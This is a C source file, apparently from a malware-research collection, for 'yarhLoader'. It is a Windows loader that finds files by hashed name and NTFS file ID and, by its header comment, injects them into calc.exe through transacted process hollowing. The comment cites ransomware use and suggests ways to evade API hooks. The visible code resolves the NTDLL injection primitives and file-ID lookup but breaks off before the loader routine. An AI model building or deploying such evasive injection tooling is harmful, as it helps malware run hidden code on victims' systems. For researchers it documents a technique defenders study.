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VXUG-Papers/yarhLoader/Main.c

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/*
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oooo ooo .oooo. oooo d8b 888 .oo. 888 .ooooo. .oooo. .oooo888 .ooooo. oooo d8b
`88. .8' `P )88b `888""8P 888P"Y88b 888 d88' `88b `P )88b d88' `888 d88' `88b `888""8P
`88..8' .oP"888 888 888 888 888 888 888 .oP"888 888 888 888ooo888 888
`888' d8( 888 888 888 888 888 o 888 888 d8( 888 888 888 888 .o 888
.8' `Y888""8o d888b o888o o888o o888ooooood8 `Y8bod8P' `Y888""8o `Y8bod88P" `Y8bod8P' d888b
.o..P'
`Y8P'
*//*
yarhLoader is an x86/x64 file loader, file reader, and file writer that abuses NTFS File identifiers for file accessibility.
Traditionally any sort of file operation requires the full path to the file in question. However, it is possible to load the
file by its unique file identifier.
IMPORTANT:
This method was shown to me by Jonas Lyk. It was named 'yarhLoader' because he frequently uses 'yarh' instead
of 'yes', 'ya', 'yeah', etc. The transacted process hollowing segment was courtesy of my friend Hasherezade.
Her GitHub offers many examples on how to perform this method of process injection.
Opening a file by file id isn't completely unheard of. It *appears* to have legitimate uses. However, I have
not seen this particular method of file reading, writing, executing used before in the wild EXCEPT by Tohnichi Ransomware.
(REFERENCE TWEET: https://twitter.com/joe4security/status/1407334828501082121)
NOTES:
PRO: Can read and write a file without needing its full file path.
CON: Requires parent directory
RESOLUTION: Recursively search entire volume
CON: File IDs cannot be hardcoded. They're different on everyones machine.
PRO: Once a file is assigned a file ID it never changes.
CON: A string comparison must be performed to get the file ID (IE is this the right file?)
RESOLUTION: Can be mitigated by hashing the file name string
NOTE: I was unable to execute a binary from its FILE ID, may be possible with additional experimentation
RESOLUTION: Process injection
CON: Requires many NTAPI functions to resolve the FILE ID correctly
PRO: Can use "GetFileInformationByHandleEx" to get the FILE ID
CON: Kernel32.dll contains many API forwards, can be easily hooked
RESOLUTION: Use NTAPI exclusively, use SYSCALLs
CON: This code uses "OpenFileById" kernel32.dll function
RESOLUTION: OpenFileById forwards to NtCreateFile, use the API forward
CON: This code uses CreateProcessW
RESOLUTION: Use NtCreateProcess
NOTE: In this code example I used many NTAPI functions to demonstrate how this *could* look in malware
NOTE: This code does not resolve NTDLL via the PEB, it does not use SYSCALLs. It does not mitigate API hooks
HOW TO USE THIS:
This code dynamically assembles C:\Windows\System32 directory. It searches System32 for the unique file hash
passed to the YarhLoader function. This code uses HashStringFowlerNollVoVariant1aW for string hashing.
In this code proof of concept it searches for a binary titled "Dispose.exe" in System32. Once it finds Dispose
it launches calc.exe and uses transacted process hollowing to inject Dispose.exe into calc.exe.
You can place any binary in System32 as long as it is named Dispose.exe. Alternatively, you can use
HashStringFowlerNollVoVariant1aW to generate your own hash (on this proof of concept) to create your own
file name hash.
ULONG Hash = HashStringFowlerNollVoVariant1aW((PWCHAR)L"MyFileNameHereWithExtension.exe");
Ive compiled this using Visual Studio 2019. I have 0 errors and 0 warnings.
WHY SYSTEM32:
Experimenting. You cannot write to files in System32 if you're running at medium integrity/non admin.
I was curious if I could mitigate this. I could not. Feel free to use any directory. It does not matter.
-smelly
*/
#include <Windows.h>
#define WIN32_LEAN_AND_MEAN
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_SUCCESS 0
#define ERROR_FAILURE_NULL_BUFFER 0
#define STATUS_NO_MORE_FILES 0x80000006
#define WMAX_PATH (MAX_PATH * sizeof(WCHAR))
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN 0x00000001
#define FILE_OPEN_IF 0x00000003
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PVOID ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID, * PCLIENT_ID;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _TEB
{
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
#else
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation, // 2
FileBothDirectoryInformation, // 3
FileBasicInformation, // 4
FileStandardInformation, // 5
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12
FileDispositionInformation, // 13
FilePositionInformation, // 14
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileIdBothDirectoryInformation, // 37
FileIdFullDirectoryInformation, // 38
FileValidDataLengthInformation, // 39
FileShortNameInformation, // 40
FileIoCompletionNotificationInformation, // 41
FileIoStatusBlockRangeInformation, // 42
FileIoPriorityHintInformation, // 43
FileSfioReserveInformation, // 44
FileSfioVolumeInformation, // 45
FileHardLinkInformation, // 46
FileProcessIdsUsingFileInformation, // 47
FileNormalizedNameInformation, // 48
FileNetworkPhysicalNameInformation, // 49
FileIdGlobalTxDirectoryInformation, // 50
FileIsRemoteDeviceInformation, // 51
FileUnusedInformation, // 52
FileNumaNodeInformation, // 53
FileStandardLinkInformation, // 54
FileRemoteProtocolInformation, // 55
//
// These are special versions of these operations (defined earlier)
// which can be used by kernel mode drivers only to bypass security
// access checks for Rename and HardLink operations. These operations
// are only recognized by the IOManager, a file system should never
// receive these.
//
FileRenameInformationBypassAccessCheck, // 56
FileLinkInformationBypassAccessCheck, // 57
//
// End of special information classes reserved for IOManager.
//
FileVolumeNameInformation, // 58
FileIdInformation, // 59
FileIdExtdDirectoryInformation, // 60
FileReplaceCompletionInformation, // 61
FileHardLinkFullIdInformation, // 62
FileIdExtdBothDirectoryInformation, // 63
FileDispositionInformationEx, // 64
FileRenameInformationEx, // 65
FileRenameInformationExBypassAccessCheck, // 66
FileDesiredStorageClassInformation, // 67
FileStatInformation, // 68
FileMemoryPartitionInformation, // 69
FileStatLxInformation, // 70
FileCaseSensitiveInformation, // 71
FileLinkInformationEx, // 72
FileLinkInformationExBypassAccessCheck, // 73
FileStorageReserveIdInformation, // 74
FileCaseSensitiveInformationForceAccessCheck, // 75
FileMaximumInformation
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaSize;
CCHAR ShortNameLength;
WCHAR ShortName[12];
LARGE_INTEGER FileId;
WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION;
typedef enum _THREADINFOCLASS {
ThreadBasicInformation,
ThreadTimes,
ThreadPriority,
ThreadBasePriority,
ThreadAffinityMask,
ThreadImpersonationToken,
ThreadDescriptorTableEntry,
ThreadEnableAlignmentFaultFixup,
ThreadEventPair_Reusable,
ThreadQuerySetWin32StartAddress,
ThreadZeroTlsCell,
ThreadPerformanceCount,
ThreadAmILastThread,
ThreadIdealProcessor,
ThreadPriorityBoost,
ThreadSetTlsArrayAddress, // Obsolete
ThreadIsIoPending,
ThreadHideFromDebugger,
ThreadBreakOnTermination,
ThreadSwitchLegacyState,
ThreadIsTerminated,
ThreadLastSystemCall,
ThreadIoPriority,
ThreadCycleTime,
ThreadPagePriority,
ThreadActualBasePriority,
ThreadTebInformation,
ThreadCSwitchMon, // Obsolete
ThreadCSwitchPmu,
ThreadWow64Context,
ThreadGroupInformation,
ThreadUmsInformation, // UMS
ThreadCounterProfiling,
ThreadIdealProcessorEx,
ThreadCpuAccountingInformation,
MaxThreadInfoClass
} THREADINFOCLASS;
#define PCUNICODE_STRING PUNICODE_STRING
typedef VOID(NTAPI* PIO_APC_ROUTINE)(PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock,ULONG Reserved);
typedef NTSTATUS(NTAPI* NTQUERYDIRECTORYFILE)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS, BOOL, PUNICODE_STRING, BOOL);
typedef NTSTATUS(NTAPI* RTLQUERYENVIRONMENTVARIABLE_U)(PWSTR, PCUNICODE_STRING, PUNICODE_STRING);
typedef NTSTATUS(NTAPI* NTCREATESECTION)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE);
typedef NTSTATUS(NTAPI* NTMAPVIEWOFSECTION)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, SECTION_INHERIT, ULONG, ULONG);
typedef NTSTATUS(NTAPI* NTUNMAPVIEWOFSECTION)(HANDLE, PVOID);
typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* NTOPENFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, ULONG, ULONG);
typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE);
typedef NTSTATUS(NTAPI* NTGETCONTEXTTHREAD)(HANDLE, LPCONTEXT);
typedef NTSTATUS(NTAPI* NTSETCONTEXTTHREAD)(HANDLE, LPCONTEXT);
typedef NTSTATUS(NTAPI* NTRESUMETHREAD)(HANDLE, PULONG);
typedef NTSTATUS(NTAPI* NTQUERYINFORMATIONTHREAD)(HANDLE, THREADINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* NTSETINFORMATIONTHREAD)(HANDLE, THREADINFOCLASS, PVOID, ULONG);
typedef NTSTATUS(NTAPI* NTWRITEVIRTUALMEMORY)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef ULONG(NTAPI* RTLNTSTATUSTODOSERROR)(NTSTATUS);
typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T);
typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID);
NTQUERYDIRECTORYFILE NtQueryDirectoryFile = NULL;
NTCREATESECTION NtCreateSection = NULL;
NTMAPVIEWOFSECTION NtMapViewOfSection = NULL;
NTUNMAPVIEWOFSECTION NtUnmapViewOfSection = NULL;
NTCREATEFILE NtCreateFile = NULL;
NTOPENFILE NtOpenFile = NULL;
NTCLOSE NtClose = NULL;
NTGETCONTEXTTHREAD NtGetContextThread = NULL;
NTSETCONTEXTTHREAD NtSetContextThread = NULL;
NTRESUMETHREAD NtResumeThread = NULL;
NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;
NTSETINFORMATIONTHREAD NtSetInformationThread = NULL;
NTWRITEVIRTUALMEMORY NtWriteVirtualMemory = NULL;
RTLQUERYENVIRONMENTVARIABLE_U RtlQueryEnvironmentVariable_U = NULL;
RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
RTLALLOCATEHEAP RtlAllocateHeap = NULL;
RTLFREEHEAP RtlFreeHeap = NULL;
HMODULE GlobalNtHandle = NULL;
HANDLE GlobalProcessHeap = NULL;
PTEB GetTeb(VOID)
{
#if defined(_WIN64)
return (PTEB)__readgsqword(0x30);
#elif define(_WIN32)
return (PTEB)__readfsdword(0x18);
#endif
}
PPEB Peb;
PTEB Teb;
#define InitializeObjectAttributes(p,n,a,r,s) \
do { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
} while (0)
VOID InternalSetLastError(DWORD ErrorCode)
{
Teb->LastErrorValue = ErrorCode;
return;
}
DWORD InternalGetLastError(VOID)
{
return Teb->LastErrorValue;
}
VOID RtlInitEmptyUnicodeString(PUNICODE_STRING UnicodeString, PWCHAR Buffer, USHORT BufferSize)
{
UnicodeString->Length = 0;
UnicodeString->MaximumLength = BufferSize;
UnicodeString->Buffer = Buffer;
}
SIZE_T StringLengthW(LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
VOID RtlInitUnicodeString(PUNICODE_STRING DestinationString, PCWSTR SourceString)
{
SIZE_T DestSize;
if (SourceString)
{
DestSize = StringLengthW(SourceString) * sizeof(WCHAR);
DestinationString->Length = (USHORT)DestSize;
DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR);
}
else
{
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
}
DestinationString->Buffer = (PWCHAR)SourceString;
}
PWCHAR StringCopyW(PWCHAR String1, PWCHAR String2)
{
PWCHAR p = String1;
while ((*p++ = *String2++) != 0);
return String1;
}
PWCHAR StringConcatW(PWCHAR String, PWCHAR String2)
{
StringCopyW(&String[StringLengthW(String)], String2);
return String;
}
ULONG HashStringFowlerNollVoVariant1aW(PWCHAR String)
{
ULONG Hash = 0x811c9dc5;
while (*String)
{
Hash ^= (UCHAR)*String++;
Hash *= 0x01000193;
}
return Hash;
}
BOOL RtlGetEnvironmentVariableAltW(LPCWSTR lpName, LPWSTR lpBuffer, DWORD Length)
{
UNICODE_STRING EnvironmentVariable = { 0 };
UNICODE_STRING ReturnedVariable = { 0 };
NTSTATUS Status = STATUS_SUCCESS;
BOOL bFlag = TRUE;
RtlInitUnicodeString(&EnvironmentVariable, lpName);
RtlInitEmptyUnicodeString(&ReturnedVariable, lpBuffer, (USHORT)Length);
Status = RtlQueryEnvironmentVariable_U(NULL, &EnvironmentVariable, &ReturnedVariable);
if (!NT_SUCCESS(Status))
bFlag = FALSE;
if(!bFlag)
InternalSetLastError(RtlNtStatusToDosError(Status));
return bFlag;
}
BOOL RtlInitGlobalApplicationData(VOID)
{
Teb = (PTEB)GetTeb();
Peb = (PPEB)Teb->ProcessEnvironmentBlock;
GlobalNtHandle = GetModuleHandleW(L"ntdll.dll");
if (GlobalNtHandle == NULL)
return FALSE;
GlobalProcessHeap = (HANDLE)Peb->ProcessHeap;
NtQueryDirectoryFile = (NTQUERYDIRECTORYFILE)GetProcAddress(GlobalNtHandle, "NtQueryDirectoryFile");
NtCreateSection = (NTCREATESECTION)GetProcAddress(GlobalNtHandle, "NtCreateSection");
NtMapViewOfSection = (NTMAPVIEWOFSECTION)GetProcAddress(GlobalNtHandle, "NtMapViewOfSection");
NtUnmapViewOfSection = (NTUNMAPVIEWOFSECTION)GetProcAddress(GlobalNtHandle, "NtUnmapViewOfSection");
RtlNtStatusToDosError = (RTLNTSTATUSTODOSERROR)GetProcAddress(GlobalNtHandle, "RtlNtStatusToDosError");
NtCreateFile = (NTCREATEFILE)GetProcAddress(GlobalNtHandle, "NtCreateFile");
NtOpenFile = (NTOPENFILE)GetProcAddress(GlobalNtHandle, "NtOpenFile");
NtClose = (NTCLOSE)GetProcAddress(GlobalNtHandle, "NtClose");
NtGetContextThread = (NTGETCONTEXTTHREAD)GetProcAddress(GlobalNtHandle, "NtGetContextThread");
NtSetContextThread = (NTSETCONTEXTTHREAD)GetProcAddress(GlobalNtHandle, "NtSetContextThread");
NtResumeThread = (NTRESUMETHREAD)GetProcAddress(GlobalNtHandle, "NtResumeThread");
NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(GlobalNtHandle, "NtQueryInformationThread");
NtSetInformationThread = (NTSETINFORMATIONTHREAD)GetProcAddress(GlobalNtHandle, "NtSetInformationThread");
NtWriteVirtualMemory = (NTWRITEVIRTUALMEMORY)GetProcAddress(GlobalNtHandle, "NtWriteVirtualMemory");
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(GlobalNtHandle, "RtlAllocateHeap");
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(GlobalNtHandle, "RtlFreeHeap");
RtlQueryEnvironmentVariable_U = (RTLQUERYENVIRONMENTVARIABLE_U)GetProcAddress(GlobalNtHandle, "RtlQueryEnvironmentVariable_U");
if (!NtQueryDirectoryFile || !RtlQueryEnvironmentVariable_U || !NtCreateSection || !NtMapViewOfSection ||
!NtUnmapViewOfSection || !RtlNtStatusToDosError || !NtCreateFile || !NtOpenFile || !NtClose ||
!RtlAllocateHeap || !RtlFreeHeap || !NtGetContextThread || !NtSetContextThread || !NtResumeThread ||
!NtQueryInformationThread || !NtSetInformationThread || !NtWriteVirtualMemory)
{
return FALSE;
}
return TRUE;
}
HANDLE SubroutineNtCreateFile(LPCWSTR lpFilename)
{
HANDLE Handle = INVALID_HANDLE_VALUE;
NTSTATUS Status = STATUS_SUCCESS;
IO_STATUS_BLOCK Io = { 0 };
OBJECT_ATTRIBUTES Attributes = { 0 };
UNICODE_STRING UnicodeString = { 0 };
RtlInitUnicodeString(&UnicodeString, lpFilename);
InitializeObjectAttributes(&Attributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = NtCreateFile(&Handle, GENERIC_READ | SYNCHRONIZE, &Attributes, &Io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(Status))
InternalSetLastError(RtlNtStatusToDosError(Status));
return Handle;
}
HANDLE RtlOpenFileByFileId(HANDLE Volume, LPFILE_ID_DESCRIPTOR FileId, DWORD DesiredAccess, DWORD ShareMode)
{
return NULL;
}
LONGLONG SubroutineGetNtfsFileId(HANDLE Handle, PLARGE_INTEGER uId, ULONG Hash)
{
NTSTATUS Status = STATUS_SUCCESS;
IO_STATUS_BLOCK Io = { 0 };
PFILE_ID_BOTH_DIR_INFORMATION DirectoryInformation = NULL;
LONGLONG FileId = 0;
DirectoryInformation = (PFILE_ID_BOTH_DIR_INFORMATION)RtlAllocateHeap(GlobalProcessHeap, HEAP_ZERO_MEMORY, 0x1000);
if (DirectoryInformation == NULL)
return ERROR_FAILURE_NULL_BUFFER;
while (0 <= (Status = NtQueryDirectoryFile(Handle, NULL, NULL, NULL, &Io, DirectoryInformation, 0x1000, 37, 0, NULL, FALSE)))
{
if (DirectoryInformation->NextEntryOffset != 0)
{
PBYTE pByte = (PBYTE)DirectoryInformation;
for (PFILE_ID_BOTH_DIR_INFORMATION Next = (PFILE_ID_BOTH_DIR_INFORMATION)pByte; Next->NextEntryOffset != 0; pByte += Next->NextEntryOffset)
{
Next = (PFILE_ID_BOTH_DIR_INFORMATION)pByte;
if (HashStringFowlerNollVoVariant1aW(Next->FileName) == Hash) //L"cmd.exe"
{
RtlCopyMemory(uId, &Next->FileId, sizeof(Next->FileId));
FileId = Next->FileId.QuadPart;
goto EXIT_ROUTINE;
}
}
}
}
EXIT_ROUTINE:
if (DirectoryInformation)
RtlFreeHeap(GlobalProcessHeap, HEAP_ZERO_MEMORY, DirectoryInformation);
if (FileId == ERROR_FAILURE_NULL_BUFFER)
{
if (!NT_SUCCESS(Status))
InternalSetLastError(RtlNtStatusToDosError(Status));
}
return FileId;
}
HANDLE RtlGetVolumeRelativeHandle(VOID)
{
HANDLE RootHandle = NULL;
NTSTATUS Status = STATUS_SUCCESS;
UNICODE_STRING RootDirectory = { 0 };
OBJECT_ATTRIBUTES Attributes = { 0 };
IO_STATUS_BLOCK Io = { 0 };
RtlInitUnicodeString(&RootDirectory, L"\\??\\C:\\");
InitializeObjectAttributes(&Attributes, &RootDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = NtOpenFile(&RootHandle, FILE_READ_DATA, &Attributes, &Io, FILE_SHARE_READ, FILE_OPEN);
if (!NT_SUCCESS(Status))
InternalSetLastError(RtlNtStatusToDosError(Status));
return RootHandle;
}
HANDLE YarhLoader(ULONG Hash, PWCHAR TargetDirectory)
{
HANDLE TargetDirectoryHandle = INVALID_HANDLE_VALUE;
LARGE_INTEGER uId = { 0 };
FILE_ID_DESCRIPTOR FileId = { 0 };
HANDLE RelativeVolumeHandle = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
